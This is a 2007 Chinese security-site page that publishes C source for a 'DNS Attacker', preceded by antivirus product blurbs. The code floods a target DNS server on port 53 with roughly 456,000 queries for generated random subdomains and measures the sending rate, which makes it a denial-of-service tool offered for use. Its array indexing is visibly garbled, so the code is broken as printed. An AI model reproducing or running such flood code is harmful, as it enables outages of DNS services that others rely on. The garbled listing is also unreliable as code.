首 页健康生活新 闻留 言骗 子美女图片网络安全论 坛问吧注册码大全bt资源
张筱雨人体艺术   汤芳人体艺术  汤加丽人体艺术  石靖人体艺术   刘亦菲人体艺术   汤唯人体艺术  张柏芝人体艺术   人体艺术摄影
网络安全知识        Knowledge of network security
                                           Small knowledge of computer security,Computer knowledge
首页
您当前的位置:地球村网络安全病毒知识 → 新频道内容 设为首页   加入收藏   联系我们
DNS Attacker源代码
作者:admin  来源:本站原创  发布时间:2007-8-1 8:48:42
瑞星杀毒软件2008版,是基于新一代虚拟机脱壳引擎、采用三层主动防御策略开发的新一代信息安全产品。
瑞星08独创的“帐号保险柜”基于“主动防御”构架开发,可保护上百种流行软件的帐号,包括70 多款热门网游,30多种股票、网上银行类软件,QQ 、MSN等常用聊天工具及下载软件等。
同时,瑞星08采用"木马强杀"、"病毒DNA 识别"、"主动防御"、"恶意行为检测"等大量核心技术,
《Windows木马清道夫》是一款专门查杀并可辅助查杀木马的专业级反木马信息安全产品,是全新一代的木马克星!《Windows木马清道夫》可自动查杀数十万种木马,拥有海量木马病毒库,配合手动分析可近100%对未知木马进行查杀!它不仅可以查木马,还可以分析出后门程序,黑客程序等等。它专业的分析功能,完美的升级功能,使您不再惧怕木马,让您远离木马的困扰
卡巴斯基单机版(Kaspersky Anti-Virus Personal)是俄罗斯著名数据安全厂商Kaspersky Labs专为我国个人用户度身定制的反病毒产品。这款产品功能包括:病毒扫描、驻留后台的病毒防护程序、脚本病毒拦截器以及邮件检测程序,时刻监控一切病毒可能入侵的途径。产品采用第二代启发式代码分析技术、iChecker实时监控技术和独特的脚本病毒拦截技术等多种最尖端的反病毒技术
#include "winsock.h"
#include "stdio.h"
#include "string.h"

SOCKET sockUdp;
struct sockaddr_in destAddr;    // IP addressing structures

void convertDomainName(char * strName)
{
unsigned int lastPoint=strlen(strName);
for(int i=lastPoint; i>=0; i--) {
if (strName=='.') {
strName=(char)(lastPoint-i-1);
lastPoint=i;
}
}
}

void dnsRequest(char * qName)
{
char udpBuf[512]={0};
udpBuf[1] = 1;
udpBuf[2] = 1;
udpBuf[5] = 1;
convertDomainName(qName);
int domainNameLen = strlen(qName);
for(int i=0; i<domainNameLen; i++)
udpBuf[12+i] = qName;
udpBuf[domainNameLen + 12 + 2]=1;
udpBuf[domainNameLen+ 12 + 4]=1;

int iReturn=sendto(sockUdp, udpBuf, domainNameLen + 12 + 7, 0,(SOCKADDR *)&destAddr, sizeof(struct sockaddr_in));
if (iReturn==SOCKET_ERROR) printf("send error:%d",GetLastError());
}

main()
{
WSADATA wsa;
WSAStartup(MAKEWORD(2,2), &wsa);
sockUdp = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);

int i,j,k,l;
destAddr.sin_family = AF_INET;
   destAddr.sin_port = htons(53);
   destAddr.sin_addr.s_addr = inet_addr("xxx.xxx.xxx.xxx");

char strRequest[20] = ".aaaa.aaaa.net";

ULONG timeStart=GetTickCount();
for (i=97; i<123; i++)
for (j=97; j<123; j++)
for (k=97; k<123; k++)
for( l=97; l<123; l++)
{
strRequest[1]=i;
strRequest[2]=j;
strRequest[3]=k;
strRequest[4]=l;
dnsRequest(strRequest);
}
printf("Send 456K packets in %d ms\n",GetTickCount()-timeStart);
printf("average spped=%d,000 Packets/s\n",456000/(GetTickCount()-timeStart));
Sleep(10*1000);
}
[ ] [返回上一页] [打 印]
Copyright © 2007 Diqiuc.Com. All Rights Reserved .豫ICP备07001840 Powered by Diqiuc.Com